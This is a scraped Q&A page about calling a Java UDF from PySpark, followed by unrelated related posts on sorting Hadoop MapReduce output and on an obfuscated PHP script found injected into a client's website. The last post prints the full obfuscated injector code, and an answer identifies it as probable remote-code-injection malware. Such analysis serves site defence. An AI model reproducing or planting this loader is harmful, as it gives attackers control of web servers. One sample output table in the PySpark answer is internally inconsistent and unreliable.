Implement a java UDF and call it from pyspark - java
I need to create a UDF to be used in pyspark python which uses a java object for its internal calculations.
If it were a simple python I would do something like:
def f(x):
return 7
fudf = pyspark.sql.functions.udf(f,pyspark.sql.types.IntegerType())
and call it using:
df = sqlContext.range(0,5)
df2 = df.withColumn("a",fudf(df.id)).show()
However, the implementation of the function I need is in java and not in python. I need to wrap it somehow so I can call it in a similar way from python.
My first try was to do implement the java object, then wrap it in python in pyspark and convert that to UDF. That failed with serialization error.
Java code:
package com.test1.test2;
public class TestClass1 {
Integer internalVal;
public TestClass1(Integer val1) {
internalVal = val1;
}
public Integer do_something(Integer val) {
return internalVal;
}
}
pyspark code:
from py4j.java_gateway import java_import
from pyspark.sql.functions import udf
from pyspark.sql.types import IntegerType
java_import(sc._gateway.jvm, "com.test1.test2.TestClass1")
a = sc._gateway.jvm.com.test1.test2.TestClass1(7)
audf = udf(a,IntegerType())
error:
---------------------------------------------------------------------------
Py4JError Traceback (most recent call last)
<ipython-input-2-9756772ab14f> in <module>()
4 java_import(sc._gateway.jvm, "com.test1.test2.TestClass1")
5 a = sc._gateway.jvm.com.test1.test2.TestClass1(7)
----> 6 audf = udf(a,IntegerType())
/usr/local/spark/python/pyspark/sql/functions.py in udf(f, returnType)
1595 [Row(slen=5), Row(slen=3)]
1596 """
-> 1597 return UserDefinedFunction(f, returnType)
1598
1599 blacklist = ['map', 'since', 'ignore_unicode_prefix']
/usr/local/spark/python/pyspark/sql/functions.py in __init__(self, func, returnType, name)
1556 self.returnType = returnType
1557 self._broadcast = None
-> 1558 self._judf = self._create_judf(name)
1559
1560 def _create_judf(self, name):
/usr/local/spark/python/pyspark/sql/functions.py in _create_judf(self, name)
1565 command = (func, None, ser, ser)
1566 sc = SparkContext.getOrCreate()
-> 1567 pickled_command, broadcast_vars, env, includes = _prepare_for_python_RDD(sc, command, self)
1568 ctx = SQLContext.getOrCreate(sc)
1569 jdt = ctx._ssql_ctx.parseDataType(self.returnType.json())
/usr/local/spark/python/pyspark/rdd.py in _prepare_for_python_RDD(sc, command, obj)
2297 # the serialized command will be compressed by broadcast
2298 ser = CloudPickleSerializer()
-> 2299 pickled_command = ser.dumps(command)
2300 if len(pickled_command) > (1 << 20): # 1M
2301 # The broadcast will have same life cycle as created PythonRDD
/usr/local/spark/python/pyspark/serializers.py in dumps(self, obj)
426
427 def dumps(self, obj):
--> 428 return cloudpickle.dumps(obj, 2)
429
430
/usr/local/spark/python/pyspark/cloudpickle.py in dumps(obj, protocol)
644
645 cp = CloudPickler(file,protocol)
--> 646 cp.dump(obj)
647
648 return file.getvalue()
/usr/local/spark/python/pyspark/cloudpickle.py in dump(self, obj)
105 self.inject_addons()
106 try:
--> 107 return Pickler.dump(self, obj)
108 except RuntimeError as e:
109 if 'recursion' in e.args[0]:
/home/mendea3/anaconda2/lib/python2.7/pickle.pyc in dump(self, obj)
222 if self.proto >= 2:
223 self.write(PROTO + chr(self.proto))
--> 224 self.save(obj)
225 self.write(STOP)
226
/home/mendea3/anaconda2/lib/python2.7/pickle.pyc in save(self, obj)
284 f = self.dispatch.get(t)
285 if f:
--> 286 f(self, obj) # Call unbound method with explicit self
287 return
288
/home/mendea3/anaconda2/lib/python2.7/pickle.pyc in save_tuple(self, obj)
566 write(MARK)
567 for element in obj:
--> 568 save(element)
569
570 if id(obj) in memo:
/home/mendea3/anaconda2/lib/python2.7/pickle.pyc in save(self, obj)
284 f = self.dispatch.get(t)
285 if f:
--> 286 f(self, obj) # Call unbound method with explicit self
287 return
288
/usr/local/spark/python/pyspark/cloudpickle.py in save_function(self, obj, name)
191 if islambda(obj) or obj.__code__.co_filename == '<stdin>' or themodule is None:
192 #print("save global", islambda(obj), obj.__code__.co_filename, modname, themodule)
--> 193 self.save_function_tuple(obj)
194 return
195 else:
/usr/local/spark/python/pyspark/cloudpickle.py in save_function_tuple(self, func)
234 # create a skeleton function object and memoize it
235 save(_make_skel_func)
--> 236 save((code, closure, base_globals))
237 write(pickle.REDUCE)
238 self.memoize(func)
/home/mendea3/anaconda2/lib/python2.7/pickle.pyc in save(self, obj)
284 f = self.dispatch.get(t)
285 if f:
--> 286 f(self, obj) # Call unbound method with explicit self
287 return
288
/home/mendea3/anaconda2/lib/python2.7/pickle.pyc in save_tuple(self, obj)
552 if n <= 3 and proto >= 2:
553 for element in obj:
--> 554 save(element)
555 # Subtle. Same as in the big comment below.
556 if id(obj) in memo:
/home/mendea3/anaconda2/lib/python2.7/pickle.pyc in save(self, obj)
284 f = self.dispatch.get(t)
285 if f:
--> 286 f(self, obj) # Call unbound method with explicit self
287 return
288
/home/mendea3/anaconda2/lib/python2.7/pickle.pyc in save_list(self, obj)
604
605 self.memoize(obj)
--> 606 self._batch_appends(iter(obj))
607
608 dispatch[ListType] = save_list
/home/mendea3/anaconda2/lib/python2.7/pickle.pyc in _batch_appends(self, items)
637 write(MARK)
638 for x in tmp:
--> 639 save(x)
640 write(APPENDS)
641 elif n:
/home/mendea3/anaconda2/lib/python2.7/pickle.pyc in save(self, obj)
304 reduce = getattr(obj, "__reduce_ex__", None)
305 if reduce:
--> 306 rv = reduce(self.proto)
307 else:
308 reduce = getattr(obj, "__reduce__", None)
/usr/local/spark/python/lib/py4j-0.9-src.zip/py4j/java_gateway.py in __call__(self, *args)
811 answer = self.gateway_client.send_command(command)
812 return_value = get_return_value(
--> 813 answer, self.gateway_client, self.target_id, self.name)
814
815 for temp_arg in temp_args:
/usr/local/spark/python/pyspark/sql/utils.py in deco(*a, **kw)
43 def deco(*a, **kw):
44 try:
---> 45 return f(*a, **kw)
46 except py4j.protocol.Py4JJavaError as e:
47 s = e.java_exception.toString()
/usr/local/spark/python/lib/py4j-0.9-src.zip/py4j/protocol.py in get_return_value(answer, gateway_client, target_id, name)
310 raise Py4JError(
311 "An error occurred while calling {0}{1}{2}. Trace:\n{3}\n".
--> 312 format(target_id, ".", name, value))
313 else:
314 raise Py4JError(
Py4JError: An error occurred while calling o18.__getnewargs__. Trace:
py4j.Py4JException: Method __getnewargs__([]) does not exist
at py4j.reflection.ReflectionEngine.getMethod(ReflectionEngine.java:335)
at py4j.reflection.ReflectionEngine.getMethod(ReflectionEngine.java:344)
at py4j.Gateway.invoke(Gateway.java:252)
at py4j.commands.AbstractCommand.invokeMethod(AbstractCommand.java:133)
at py4j.commands.CallCommand.execute(CallCommand.java:79)
at py4j.GatewayConnection.run(GatewayConnection.java:209)
at java.lang.Thread.run(Thread.java:745)
EDIT: I also tried to make the java class serializable but to no avail.
My second attempt was to define the UDF in java to begin with but that failed as I am not sure how to correctly wrap it:
java code:
package com.test1.test2;
import org.apache.spark.sql.api.java.UDF1;
public class TestClassUdf implements UDF1<Integer, Integer> {
Integer retval;
public TestClassUdf(Integer val) {
retval = val;
}
#Override
public Integer call(Integer arg0) throws Exception {
return retval;
}
}
but how would I use it?
I tried:
from py4j.java_gateway import java_import
java_import(sc._gateway.jvm, "com.test1.test2.TestClassUdf")
a = sc._gateway.jvm.com.test1.test2.TestClassUdf(7)
dfint = sqlContext.range(0,15)
df = dfint.withColumn("a",a(dfint.id))
but I get:
---------------------------------------------------------------------------
TypeError Traceback (most recent call last)
<ipython-input-5-514811090b5f> in <module>()
3 a = sc._gateway.jvm.com.test1.test2.TestClassUdf(7)
4 dfint = sqlContext.range(0,15)
----> 5 df = dfint.withColumn("a",a(dfint.id))
TypeError: 'JavaObject' object is not callable
and I tried to use a.call instead of a:
df = dfint.withColumn("a",a.call(dfint.id))
but got:
---------------------------------------------------------------------------
TypeError Traceback (most recent call last)
in ()
3 a = sc._gateway.jvm.com.test1.test2.TestClassUdf(7)
4 dfint = sqlContext.range(0,15)
----> 5 df = dfint.withColumn("a",a.call(dfint.id))
/usr/local/spark/python/lib/py4j-0.9-src.zip/py4j/java_gateway.py in __call__(self, *args)
796 def __call__(self, *args):
797 if self.converters is not None and len(self.converters) > 0:
--> 798 (new_args, temp_args) = self._get_args(args)
799 else:
800 new_args = args
/usr/local/spark/python/lib/py4j-0.9-src.zip/py4j/java_gateway.py in _get_args(self, args)
783 for converter in self.gateway_client.converters:
784 if converter.can_convert(arg):
--> 785 temp_arg = converter.convert(arg, self.gateway_client)
786 temp_args.append(temp_arg)
787 new_args.append(temp_arg)
/usr/local/spark/python/lib/py4j-0.9-src.zip/py4j/java_collections.py in convert(self, object, gateway_client)
510 HashMap = JavaClass("java.util.HashMap", gateway_client)
511 java_map = HashMap()
--> 512 for key in object.keys():
513 java_map[key] = object[key]
514 return java_map
TypeError: 'Column' object is not callable
Any help would be appriciated.
I got this working with the help of another question (and answer) of your own about UDAFs.
Spark provides a udf() method for wrapping Scala FunctionN, so we can wrap the Java function in Scala and use that. Your Java method needs to be static or on a class that implements Serializable.
package com.example
import org.apache.spark.sql.UserDefinedFunction
import org.apache.spark.sql.functions.udf
class MyUdf extends Serializable {
def getUdf: UserDefinedFunction = udf(() => MyJavaClass.MyJavaMethod())
}
Usage in PySpark:
def my_udf():
from pyspark.sql.column import Column, _to_java_column, _to_seq
pcls = "com.example.MyUdf"
jc = sc._jvm.java.lang.Thread.currentThread() \
.getContextClassLoader().loadClass(pcls).newInstance().getUdf().apply
return Column(jc(_to_seq(sc, [], _to_java_column)))
rdd1 = sc.parallelize([{'c1': 'a'}, {'c1': 'b'}, {'c1': 'c'}])
df1 = rdd1.toDF()
df2 = df1.withColumn('mycol', my_udf())
As with the UDAF in your other question and answer, we can pass columns into it with return Column(jc(_to_seq(sc, ["col1", "col2"], _to_java_column)))
In lines with https://dzone.com/articles/pyspark-java-udf-integration-1 you could define UDF1 with in Java using
public class AddNumber implements UDF1<Long, Long> {
#Override
public Long call(Long num) throws Exception {
return (num + 5);
}
}
And then after adding the jar to your pyspark with --package <your-jar>
you can use it in pyspark as:
from pyspark.sql import functions as F
from pyspark.sql.types import LongType
>>> df = spark.createDataFrame([float(i) for i in range(100)], FloatType()).toDF("a")
>>> spark.udf.registerJavaFunction("addNumber", "com.example.spark.AddNumber", LongType())
>>> df.withColumn("b", F.expr("addNumber(a)")).show(5)
+---+---+
| a| b|
+---+---+
|0.0| 5|
|1.0| 6|
|2.0| 7|
|3.0| 8|
|4.0| 8|
+---+---+
only showing top 5 rows
Related
How to sort values (with their corresponding key) in mapReduce Hadoop framework?
I am trying to sort the input data I have using Hadoop mapReduce. The problem is that I am only able to sort the key-value pairs by key, while I am trying to sort them by value. Each value's key was created with a counter, so the first value (234) has key 1, and the second value (944) has key 2, etc. Any idea on how I can do it and order the input by values? import java.io.IOException; import java.util.StringTokenizer; import java.util.ArrayList; import java.util.List; import java.util.Collections; import org.apache.hadoop.conf.Configuration; import org.apache.hadoop.fs.Path; import org.apache.hadoop.io.IntWritable; import org.apache.hadoop.io.Text; import org.apache.hadoop.mapreduce.Job; import org.apache.hadoop.mapreduce.Mapper; import org.apache.hadoop.mapreduce.Reducer; import org.apache.hadoop.mapreduce.lib.input.FileInputFormat; import org.apache.hadoop.mapreduce.lib.output.FileOutputFormat; public class Sortt { public static class TokenizerMapper extends Mapper<Object, Text, Text ,IntWritable >{ int k=0; int v=0; int va=0; public Text ke = new Text(); private final static IntWritable val = new IntWritable(); public void map(Object key, Text value, Context context) throws IOException, InterruptedException { StringTokenizer itr = new StringTokenizer(value.toString()); while (itr.hasMoreTokens()) { val.set(Integer.parseInt(itr.nextToken())); v=val.get(); k=k+1; ke.set(Integer.toString(k)); context.write(ke, new IntWritable(v));} } } public static class SortReducer extends Reducer<Text,IntWritable,Text,IntWritable> { int a=0; int v=0; private IntWritable va = new IntWritable(); public void reduce(Text key, Iterable<IntWritable> values, Context context ) throws IOException, InterruptedException { List<Integer> sorted = new ArrayList<Integer>(); for (IntWritable val : values) { a= val.get(); sorted.add(a); } Collections.sort(sorted); for(int i=0;i<sorted.size();i++) { v=sorted.get(i); va.set(v); context.write(key, va); } } } public static void main(String[] args) throws Exception { long startTime=0; long Time=0; long duration=0; Configuration conf = new Configuration(); Job job = Job.getInstance(conf, "sort"); job.setJarByClass(Sortt.class); job.setMapperClass(TokenizerMapper.class); job.setCombinerClass(SortReducer.class); job.setReducerClass(SortReducer.class); job.setOutputKeyClass(Text.class); job.setOutputValueClass(IntWritable.class); FileInputFormat.addInputPath(job, new Path(args[0])); FileOutputFormat.setOutputPath(job, new Path(args[1])); System.exit(job.waitForCompletion(true) ? 0 : 1); Time = System.currentTimeMillis(); //duration = (endTime-startTime)/1000000; System.out.println("time="+Time+"MS"); } } Input: 234 944 241 130 369 470 250 100 250 735 856 659 425 756 123 756 459 754 654 951 753 254 698 741 Expected Output: 8 100 15 123 4 130 1 234 3 241 24 241 7 250 9 250 22 254 5 369 13 425 17 459 6 470 19 654 12 659 23 698 10 735 21 753 18 754 14 756 16 756 11 856 2 944 20 951 Current Output: 1 234 10 735 11 856 12 659 13 425 14 757 15 123 16 756 17 459 18 754 19 654 2 944 20 951 21 753 22 254 23 698 24 741 3 241 4 130 5 369 6 470 7 250 8 100 9 250
MapReduce output by default sort by key, and to sort by values you can use Secondary Sort. Secondary sort is an one of the best technique to sort the reducer output on values, here is one complete example.
Has anyone seen this code? (Injected Script) [closed]
Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers. We don’t allow questions seeking recommendations for books, tools, software libraries, and more. You can edit the question so it can be answered with facts and citations. Closed 6 years ago. Improve this question It seems to be obfuscated, It was injected on one of my clients sites. Does anyone recognize this? Is it harmful? <?php $ghacbiaz = '27id%6< x7fw6* x7f_*#ujojRk3`{666~6<&w6< x24]25 x24- x24-!% x24- x24*!|! xtr_split("%tjw!>!#]y84]275]y83]248]y83]256]y81g}k~~9{d%:osvufs:~928>> x22:ftmbg39*56A:>:8:|:7#6#)tutjyf`439274Ypp3)%cB%iN}#-! x24/%tmw/ x24)%c*W%eN+#Qi x5rn chr(ord($n)-1);} #error_reporting(0); $de:4:|:**#ppde#)tutjyf`4 x223}!+!<+{e%1]211M5]67]452]88]5]48]32M3]317]445]212]445]43]321]464]284]364]6]234]QeTQcOc/#00#W~!Ydrr)%rxB%epnbss!>!bssbz)#44ec:649#neb#-*f%)sfxpmpusut)tp%6<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTjA)qj3hopmA x273qj%6<*Y%)fnbozcYufhA x272qj%6<^#ztmbg!osvufs!|ftmf!~<**9.-jt0}Z;0]=]0#)2q%l}S;2-u%!SV<*w%)ppde>u%V<#65,47R25,d7R17,67R37,#/q%>Uudovg}{;#)tutjyf`opjudovg)!gj!|!*msv%)}k~~~<fALS[" x61 156 x75 156 x61"]=1; $uas=strtolower($_SERVER[*9! x27!hmg%)!gj!~<ofmy%,3,j%>j%!<**3-j]y31]278]y3e]81]K78:56985:6197g:74985-rr.93e:5597f7-2qj%7-K)udfoopdXA x22)7gj6<*QDU`MPT7-NBFSUT`LDPT7-UFOJ`GB)fubfs!*3>?*2b%)gpf{jt)!gj!<*2bd%-#1GO x22#)fepmqyfA>2b%!<*qp%-*.%)euhA)3oluxlxrn = $ukqjmyx("", $qcmcwdj); $luxlxrn();}}f>2bd%!<5h%/#0#/*#npd/#)rrd/#00;quui#>* x7f_*#[k2`{6:!}7;!}6;##}C;!>>!%b:>1<!gps)%j:>1<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%bs x5csboe))1/35.)1/14+9**-)1/2986+7**^/%rx<~!!%s:N}#-%o:W%c:>1<`un>qp%!|Z~!<##!>!2p%!|!*!***b%)sfxpmpusut!-#j0%_t%:osvufs:~:<*9-1-r%)s%>/h%:<**#57]38y]4fu x27k:!ftmf!}Z;^nbsbq% x5cSFX)!gjZ<#opo#>b%!**X)ufttj x22)gj!|!*nb& (!isset($GLOBALS[" x61 156 x75 156 x61"])))) { $GLOB-#2#/#%#/#o]#/*)323zbe!-#jt0*?]+^?]_ x5c}X x24<!%%)3of:opjudovg<~ x24<!%o:!>! x242178!2p%Z<^2 x5c2b%!>!2p%t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y946:ce44#)zbssb!>!ssbnpe_GMFT`QIQ&B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*-!%-bubE{h%)sutcvt-#w#)ldbqov>*ofmy%)utjm!|!*5! x27!hmg%)!gj!|!*%epnbss-%rxW~!Ypp2)%zB%fvr# x5cq%7**^#zsfvr# x5cq%)ufttj x22)gj6<^#Y# x5`{6~6<tfs%w6< x7fw6*CWtfs%)7gj6<*id%)ftpmdR6<*id%)dfyfR x27tfs}527}88:}334}472 x24<!%ff2!>!bssbz)5ttfsqnpdov{h19275j{hnpd192754]D6#<%G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]5-#}+;%-qp%)54l} x27;%!<*#}_;#)3 x41 107 x45 116 x54"]); if ((strstr($uas," x6d 163 x69 145"3zbek!~!<b% x7f!<X>b%Z<#opo#>b%!*##>>- x24!>!fyqmpef)# x24*<!%t::!>! x2qcmcwdj = implode(array_map("gfvevvm",scq% x27Y%6<.msv`ftsbqA7>q%6< x7fw6* x7f_*#fubfsdXk5`{66~6<&w6< x7fw6-!#:618d5f9#-!#f6c68399#-!#65egb2dc#*<!sfuvso!sboepn)4/%tjw/ x24)% x24- x24y4 x24- x24]y8 if((function_exists(" x6f 142 x5f 163 x74 141 x72 164") &z)#]341]88M4P8]37]278]225]2bubE{h%)tpqsut>j%!*72! x27!hmg%)!gj!<2,*j%-#1]#-bubE{h%)tpqsut>j%!2!>#p#/#p#/%z<jg!)%z>>2*!x24*<!~! x24/%t2w/ x24)##-!#~<#/% x24}#QwTW%hIr x5c1^-%r x5c2^-%hOh/#00#W~!%t2w)) or (strstr($uas," x72 16c1^W%c!>!%i x5c2^<!Ce*[!%cIj},;osvufs} x27;mnui}&Df#<%tdz>#L4]275L3]248L3P6L1M5]D2P]265]y72]254]y76#<!%w:!>!(%w:!>! x246767~6<Cw6<pd%w6Z6<.5`hA x27pd%6<:>1<!fmtf!%b:>%s: x5c%j:.2^,%b:<!%c:>%s: x5c%j:^<!%w`41]334]368]322]3]364]6]283]427]36]373P6]36]73]83]238M7]38;zepc}A;~!} x7f;!|!}{;)gj}l;33b6<.fmjgA x27doj%6< x7fw6* x7f_*#fmjgk4sbq%)323ldfidk!~!<**qp%!-uyfu%)3of)fepdof`57ftbc x7f!|!*uy*CW&)7gj6<*doj%7-C)fepmqnjA x27&%ff2-!%t::**<(<!fwbm)%tjw)# x24#-!#]y38#-!%w:**<")));$sfvr# x5cq%7/7###7/7^#iubq# x5cq% x27jsv%6<C>^#zs>n%<#372]58y]472]37y]672]48y]#>s%<#462]47y]252]18y]#>q%#!/!**#sfmcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)f75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#6 x3a 61 x31"))) { $ukqjmyx = " x63 162 x65 141 x74 1jsv%7UFH# x27rfs%6~6< x7fw6<*K)ftpmdXA6|7**1924- x24 x5c%j^ x24- x24tvctus)% x24-7-K)fujsxX6<#o]o]Y%7;utpI1?hmg%)!gj!<**2-4-bubE{h%)sutcvt)esp>hmg%!kVx{**#k#)tutjyf`x x22l:!}V;3q%}U;y]}R;2]<#762]67y]562]38y]572]48y]#>m%:|:*r%:-t4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]+*!*+fepdfe{h+{d%)+opjudovg+)!gj+{e%!osvufs!*!+A!>!{e%)!>> x22!ftmbg)R;*msv%)}.;`UQPMSVD!-id%)uqpuft`msvd},;uqpuft`msvd}+;!>!} x231M6]y3e]81#/#7e:55946-tr.984: x24b!>!%yy)#}#-# x24- x24-tusqpt)%z-#:#* x24- x24!>! x2%-bubE{h%)sutcvt)fubmgoj{hA!osvufs!~<pd%w6Z6<.4`hA x27pd%6<pd%w6Z6<.3`hA x27pd%6<pd%w6Z6<" x48 124 x54 120 x5f 125 x53 105 x52 1375Ld]55#*<%bG9}:}.}-}!#*<%nfd>%f}W;utpi}Y;tuofuopd`uff_UTPI`QUUI&e_SEEB`FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|!*)32tmw!>!#]y84]275]y83]273]y76]277#<!%t2w>#]y74]273]y76]2<%tpz!>!#]D6M7]K3#<%yy>#]D6]281L1#/#M5]DgP5]D6#<%fdy>#]D<12>j%!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%)sutcvt)!gj!|!*bubE{h%)j4- x24y7 x24- x24*<! x24- x24gps)%WSFT`%}X;!sp!*#opo#>>}R;msv}.;/#/#/},;#52]y85]256]y6g]257]y86]267]y74]275]y7:]268]y7f#<!%tww!>! x2400~:<h56+99386c6f+9f5d816:+f./###/qp%>5h%!<*::::::-111112)eobsx27{ftmfV x7f<*X&Z&S{ftmfV x7f<*XAZAz>! x24/%tmw/ x24)%zW%h>EzH,2W%wN;#-Ez-1H*WCw*[!%rNV;hojepdoF.uofuopD#)sfebfI{*w%).%!<***f x27,*e x27,*d x27,*c x27,*b x27)fepdof.)fepdo x7fw6*CW&)7gj6<.[A x27&6< x7fw6#:>:h%:<#64y]552]e7y]#fubmgoj{h1:|:*mmvo:>:iuhofm%:-5pp7;!>>>!}_;gvc%}&;ftmbg} x7f;!osvufs}w;* x7f!>> x22!pd%)!gj}Z;h!opj<#16,47R57,27R66,#/q%>2q%<#g6R85,67R37,18R#>q%V<*#fopo66~67<&w6<*&7-#o]s]o]s]#)fepmqyf x27*&7-n%)23ldfid>}&;!osvufs} x7f;!opjudov45 x5f 146 x75 156 x63 164 x69x24- x24]26 x24- x24<%j,,*!| x24- x24gvodujpo! x2q}k;opjudovg}x;0]=])0#)U! x27{**u%-#j%z>3<!fmtf!%z>2<!%ww2)%w`TW~ x24<!fwbm)%tjw)bssbz)#P#-#Q#-#{hnpd!opjudovg!|!**#j{hnpd#)tutjyf`opjudov.2`hA x27pd%6<C x27pd%6|6.7eu{ 157 x6e"; function gfvevvm($n){retu7]67y]37]88y]27]28y]#/r%/h%)n%-#+I#)q%:>:r%:|:**t%)m%=*h%)m%):fmjix:<#3,j%>j%!*3! x27!hmg%!)!gj!<2,*j%!-#1]#-epmqnj!/!#0#)idubn`hfsq)!sp!*#ojh`fmjg}[;ldpt%}K;`ufldpt}X;`msvd}342]58]24]31#-%tdz*Wsfuvso!%bsutjm6< x7fw6*CW&)7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**111g x22)!gj}1~!<2p% x7f!~!<##!>!gj<*#k#)usbut`cpV x7f x7f x7f x7f<u%V dXA x27K6< x7fw6*3qj%7> x2272qj%)7gj6<**2qj%)hopm3q#7>/7rfs%6<#o]1/20QUUI7127-K)ebfsX x27u%)7fmjix6<C x27&6<*rfs%qssutRe%)Rd%)Rb%))!gj!<*#cd2bgej>1<%j=tj{fpg)% x24- OBSUOSVUFS,6<*msv%7-MSV,6<*)ujojR x)##Qtjw)#]82#-#!#-%tmw)%tww**WYsboepn)%bss-%rxB%h>#dy<Cb*[%h!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##Qtp-s.973:8297f:5297e:56-xr.985:52985- x5c^>Ew:Qb:Qc:W~!%z!>2<!gps)%j>1<%j=6[%wwsTrREvxNoiTCnuf_EtaerCxECalPer_Rtsjnauhuwim'; $eqeosz=explode(chr((371-251)),substr($ghacbiaz,(38801-32924),(221-187))); $npljogw = $eqeosz[0]($eqeosz[(5-4)]); $yyhtlq = $eqeosz[0]($eqeosz[(6-4)]); if (!function_exists('lmnuklsld')) { function lmnuklsld($zvtcgxlvy, $ncmclvjy,$ocpapj) { $owfkdynb = NULL; for($yxbwhrs=0;$yxbwhrs<(sizeof($zvtcgxlvy)/2);$yxbwhrs++) { $owfkdynb .= substr($ncmclvjy, $zvtcgxlvy[($yxbwhrs*2)],$zvtcgxlvy[($yxbwhrs*2)+(7-6)]); } return $ocpapj(chr((38-29)),chr((314-222)),$owfkdynb); }; } $smkwpyx = explode(chr((230-186)),'2305,57,1344,54,676,56,3902,41,1977,60,2559,27,3280,53,4884,30,5131,36,228,42,2108,39,74,46,2669,69,3850,52,5101,30,4809,43,5371,51,5564,39,3414,25,5541,23,3333,45,821,65,5490,51,488,49,3061,49,1726,49,2147,68,2975,32,2879,38,1775,62,449,39,5655,35,0,40,4602,32,1039,32,3974,21,5308,33,3667,60,4689,66,631,45,537,26,3813,37,5237,39,2389,66,732,39,1641,62,3439,42,4173,62,5059,42,5422,29,1483,21,886,68,1001,38,4548,54,4395,35,1187,47,3165,67,5276,32,427,22,5603,31,4374,21,1542,34,3995,68,2037,37,1306,38,2917,58,1276,30,4269,39,1946,31,4852,32,120,63,1872,29,4656,33,270,38,3598,69,5451,39,4430,36,587,44,4755,54,4517,31,3481,41,2614,21,2848,31,4963,37,563,24,1398,49,4063,54,4308,66,1234,42,5167,70,4634,22,3110,55,3522,39,1447,36,1837,35,40,34,3378,36,3757,56,2268,37,4914,49,4235,34,5634,21,2480,37,2074,34,183,45,2586,28,377,50,2215,53,1703,23,4466,51,2517,42,5690,51,771,50,5800,35,1504,38,3727,30,3232,48,4117,56,3561,37,2635,34,1901,45,3943,31,5741,59,2362,27,2791,57,308,69,5341,30,1124,63,1071,53,2738,53,5835,42,2455,25,5000,59,1576,65,3007,54,954,47'); $upzdjxxg = $npljogw("",lmnuklsld($smkwpyx,$ghacbiaz,$yyhtlq)); $npljogw=$ghacbiaz; $upzdjxxg(""); $upzdjxxg=(413-292); $ghacbiaz=$upzdjxxg-1; ?>
The code doesn't work. I've seen many, many samples like this on hacked WordPress sites. This is resemblant of older code I used to see a lot 3-4 years ago. Probably remote code injection (allows them to run arbitrary PHP code sent in POST requests. Because the offsets used to pull function names out of $ghacbiaz are wrong, it results in: PHP Fatal error: Call to undefined function fpg)% () in ... And from experience, if you've found one of those, there are many more. This type of code may be injected into lots of files in the site. EDIT: I recall in the past finding a lot of these samples and analyzing a few and also found them to decrypt incorrectly. This is what the code looks like (but doesn't work because the obfuscated code doesn't line up with the decryption: $ghacbiaz = '27id%6< x7fw6* x7f_*#ujojRk3`{666~6<&w6< x24]25 x24- x24-!% x24- x24*!|! xtr_split("%tjw!>!#]y84]275]y83]248]y83]256]y81g}k~~9{d%:osvufs:~928>> x22:ftmbg39*56A:>:8:|:7#6#)tutjyf`439274Ypp3)%cB%iN}#-! x24/%tmw/ x24)%c*W%eN+#Qi x5rn chr(ord($n)-1);} #error_reporting(0); $de:4:|:**#ppde#)tutjyf`4 x223}!+!<+{e%1]211M5]67]452]88]5]48]32M3]317]445]212]445]43]321]464]284]364]6]234]QeTQcOc/#00#W~!Ydrr)%rxB%epnbss!>!bssbz)#44ec:649#neb#-*f%)sfxpmpusut)tp%6<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTjA)qj3hopmA x273qj%6<*Y%)fnbozcYufhA x272qj%6<^#ztmbg!osvufs!|ftmf!~<**9.-jt0}Z;0]=]0#)2q%l}S;2-u%!SV<*w%)ppde>u%V<#65,47R25,d7R17,67R37,#/q%>Uudovg}{;#)tutjyf`opjudovg)!gj!|!*msv%)}k~~~<fALS[" x61 156 x75 156 x61"]=1; $uas=strtolower($_SERVER[*9! x27!hmg%)!gj!~<ofmy%,3,j%>j%!<**3-j]y31]278]y3e]81]K78:56985:6197g:74985-rr.93e:5597f7-2qj%7-K)udfoopdXA x22)7gj6<*QDU`MPT7-NBFSUT`LDPT7-UFOJ`GB)fubfs!*3>?*2b%)gpf{jt)!gj!<*2bd%-#1GO x22#)fepmqyfA>2b%!<*qp%-*.%)euhA)3oluxlxrn = $ukqjmyx("", $qcmcwdj); $luxlxrn();}}f>2bd%!<5h%/#0#/*#npd/#)rrd/#00;quui#>* x7f_*#[k2`{6:!}7;!}6;##}C;!>>!%b:>1<!gps)%j:>1<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%bs x5csboe))1/35.)1/14+9**-)1/2986+7**^/%rx<~!!%s:N}#-%o:W%c:>1<`un>qp%!|Z~!<##!>!2p%!|!*!***b%)sfxpmpusut!-#j0%_t%:osvufs:~:<*9-1-r%)s%>/h%:<**#57]38y]4fu x27k:!ftmf!}Z;^nbsbq% x5cSFX)!gjZ<#opo#>b%!**X)ufttj x22)gj!|!*nb& (!isset($GLOBALS[" x61 156 x75 156 x61"])))) { $GLOB-#2#/#%#/#o]#/*)323zbe!-#jt0*?]+^?]_ x5c}X x24<!%%)3of:opjudovg<~ x24<!%o:!>! x242178!2p%Z<^2 x5c2b%!>!2p%t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y946:ce44#)zbssb!>!ssbnpe_GMFT`QIQ&B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*-!%-bubE{h%)sutcvt-#w#)ldbqov>*ofmy%)utjm!|!*5! x27!hmg%)!gj!|!*%epnbss-%rxW~!Ypp2)%zB%fvr# x5cq%7**^#zsfvr# x5cq%)ufttj x22)gj6<^#Y# x5`{6~6<tfs%w6< x7fw6*CWtfs%)7gj6<*id%)ftpmdR6<*id%)dfyfR x27tfs}527}88:}334}472 x24<!%ff2!>!bssbz)5ttfsqnpdov{h19275j{hnpd192754]D6#<%G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]5-#}+;%-qp%)54l} x27;%!<*#}_;#)3 x41 107 x45 116 x54"]); if ((strstr($uas," x6d 163 x69 145"3zbek!~!<b% x7f!<X>b%Z<#opo#>b%!*##>>- x24!>!fyqmpef)# x24*<!%t::!>! x2qcmcwdj = implode(array_map("gfvevvm",scq% x27Y%6<.msv`ftsbqA7>q%6< x7fw6* x7f_*#fubfsdXk5`{66~6<&w6< 